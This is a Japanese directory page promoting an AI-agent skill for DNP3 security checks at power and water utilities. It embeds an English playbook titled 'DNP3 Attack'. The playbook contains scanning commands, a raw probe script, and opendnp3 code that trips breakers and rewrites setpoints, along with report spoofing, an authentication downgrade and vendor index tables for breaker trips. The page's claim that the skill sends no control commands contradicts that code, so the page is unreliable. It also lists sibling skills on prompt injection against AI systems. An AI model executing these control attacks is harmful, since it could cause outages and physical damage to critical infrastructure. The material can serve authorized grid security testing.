ics-dnp3
できること
このガイドは、電力会社や水道会社でよく使われるDNP3のセキュリティチェックを扱います。制御コマンドは電力網に影響しうるため、電力会社のセキュリティチームが書面の承認を得て使うものです。
使う場面
- ✓認可された電力会社のレビューで、ネットワーク上のDNP3のアウトステーションを見つける必要があるとき。
- ✓制御コマンドを一切送らずに、機器の状態を読みたいとき。
- ✓電力会社がリモート端末装置を守る方法を計画しているとき。
スキルのリンク
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/ics-ot/dnp3/SKILL.mdコピーしてAI(Claude、ChatGPT、Cursor)に貼り付け、指示に従うよう頼んでください。
使い方
いちばん簡単な方法:メッセージをコピーしてAIに貼り付けるだけ。AIがスキルを読んで指示に従います。
貼り付け用メッセージ
Claude Code、Codex、Cursorの場合:プロジェクトのフォルダで実行するとスキルがインストールされます。
SKILL.mdをダウンロードして、エージェントのスキル用フォルダに入れてください。
AIへの頼み方の例
“当社は地域の電力会社です。制御コマンドを一切送らずに、DNP3の機器を読み取り専用で確認する計画を手伝ってもらえますか。”
毎週5つの新しいスキル。1分で読めます。
仕組み
エージェントはDNP3の機器を見つけ、その状態とイベントのデータを読み、露出している情報を記録します。制御コマンドは送りません。
技術的な内容(元のSKILL.md)
作者による元のテキスト(英語)をGitHubからそのまま表示しています。
DNP3 Attack — Utility SCADA
DNP3 is the dominant protocol in North American electric utilities (substations, RTUs) and water/wastewater. TCP/20000.
Discover
# nmap
nmap -p 20000 --script=dnp3-info 10.0.0.0/24
# Or pyOPENDNP3 / pydnp3 / dnp3-toolkit
# Quick test:
python3 -c '
import socket, struct
# DNP3 link layer Start (0x05 0x64), Length, Control, Dest, Src
pkt = b"\x05\x64\x05\xc0\x00\x00\x01\x00\xa5\xa1"
s = socket.socket(); s.connect(("10.0.0.50", 20000)); s.send(pkt)
print(s.recv(256).hex())
'
Read attacks (passive — generally safe)
# pydnp3 (or opendnp3 Python binding) — read class 0, 1, 2, 3 data
import opendnp3
# ... master init + asyncrun ...
# Class 0 = static (current value of every point)
# Class 1/2/3 = events (changes)
master.ScanClasses([0, 1, 2, 3])
# Output: a dump of every binary/analog/counter/control point's state.
Control attacks (potentially HIGH IMPACT)
Control Relay Output Block (CROB) — trip / close a breaker
# Group 12 Var 1 CROB — operation field controls action
# trip = 0x81, close = 0x41, pulse on = 0x01
import opendnp3
crob = opendnp3.ControlRelayOutputBlock(opendnp3.ControlCode.LATCH_ON)
res = master.SelectAndOperate(crob, 5) # select+operate on index 5
# Index 5 might be "circuit breaker 5 trip" — opens the breaker.
This is the single most dangerous DNP3 primitive: a successful Select+Operate on the right index can trip transmission breakers, open dam gates, shut off pumps.
Analog Output Block (AOB) — setpoint
aob = opendnp3.AnalogOutputInt16(value=100)
master.SelectAndOperate(aob, 3)
# index 3 might be voltage setpoint, water level, etc.
Unsolicited reporting abuse
DNP3 supports outstation-initiated reports. An attacker positioned between master and outstation can:
- Inject fake unsolicited reports (false alarms) — operator response cascade
- Suppress real reports — operator blind during a real fault
- Reply with stale data via timestamp tampering (Group 50 Var 1)
DNP3 Secure Authentication (DNP3-SA) downgrade
DNP3-SA adds HMAC-based message authentication. Many implementations support both authenticated and unauthenticated modes for backward compatibility:
# Send unauthenticated control with a "session key change" request
# If outstation accepts ANY pre-shared key, the implementation is broken.
# Check via opendnp3.SecureAuthentication examples.
Many older RTUs don't support DNP3-SA at all — full unauthenticated control plane.
Tooling
# dnp3-toolkit (pen-test focused)
pip install dnp3-toolkit
dnp3-scan 10.0.0.0/24
dnp3-info 10.0.0.50
# Free Modbus / DNP3 simulator (for testing PoCs offline before live engagement)
opendnp3 examples — github.com/dnp3/opendnp3
OPSEC + safety
- Critical safety: DNP3 controls the bulk electric power system (in North America). Trip operations cause real outages. SelectAndOperate on a transmission breaker can blackout neighborhoods. Require written scope authorization for any control-class action.
- ICS-CERT and EISAC actively monitor for unusual DNP3 traffic. Master-station IP changes are detected.
- DNP3 over modem (serial) is common in older substations — your network position must be at the SCADA master, not internet.
Reference indices for common deployments
| Vendor RTU | Common control indices |
|---|---|
| GE D20 | Breaker trip = 0-9, recloser = 10-19 |
| SEL-2440 | Per-feeder breaker = 16-23 |
| Schweitzer RTAC | Indices vary heavily by configuration |
Always confirm point map (POINT.CSV or DNP3 device profile) before any write.
References
- IEEE 1815 (DNP3 standard) and "DNP3 Application Layer" specification
- "Hacking the Electric Grid" — Daniel Crowley (Trustwave / X-Force Red)
- DEFCON 27 ICS Village "DNP3 Authentication Bypass"
- NERC CIP-007/CIP-005 (defender baseline — useful to understand what's audited)
よくある質問
なぜ制御コマンドは危険なのですか?
制御コマンドは物理的な機器を変えうるため、明示的な書面の承認が必要だとガイドは述べています。
読み取り専用のテストで何がわかりますか?
機器の現在のポイントとイベントがわかり、露出の評価に役立つとされています。
どの分野がDNP3を使いますか?
ガイドによると、電力会社と上下水道のシステムです。
詳細
作者による元の説明
DNP3 attack — TCP/20000 (or 19999 serial-over-TCP) outstation enumeration, binary input / analog input poll, control relay output block (CROB) actuation, unsolicited reporting abuse, DNP3 Secure Authentication (DNP3-SA) downgrade, vendor-specific objects.
人気
- GitHubのスター
- 6.5k
- ランキング
- #14036
- ライセンス
- Apache-2.0
- 更新日
- 2026/11/1
コメント
- …
このリポジトリの他のスキル
detector-overview
6.5kエージェントが、スキャナーが指摘したコードを読み、本物のセキュリティバグと誤検知を見分けられるよう支援します。
exploiter-overview
6.5kエージェントが、確認済みの複数のセキュリティ上の弱点を一つのテストの連鎖にまとめ、その影響がどこまで及ぶかを確認できるよう支援します。
llm-redteam-overview
6.5kエージェントが、プロンプトインジェクションからモデルの悪用まで、15の戦術グループの中から適切なAIレッドチーム用ガイドを見つけられるよう支援します。
aatmf-t01-prompt-injection
6.5kプロンプトインジェクションを説明します。隠された指示でAIシステムを乗っ取ろうとする手口を、セキュリティテスターが確認できるようにします。
似ているスキル
reverse-engineer-anything
422kREAツールを使って、出荷済みのアプリやパッケージの中身を調べ、機能の説明、版の比較、再構築の手順をエージェントが支援します。
1password
394k1Password CLIをセットアップし、サインインして、秘密情報の値を会話に表示せずに読み取ったり注入したりするようエージェントを支援します。
healthcheck
394kOpenClawを動かすコンピューターやサーバーを、SSH、ファイアウォール、更新、バックアップなどのセキュリティリスクについて監査し、安全な修正案を提案するようエージェントを支援します。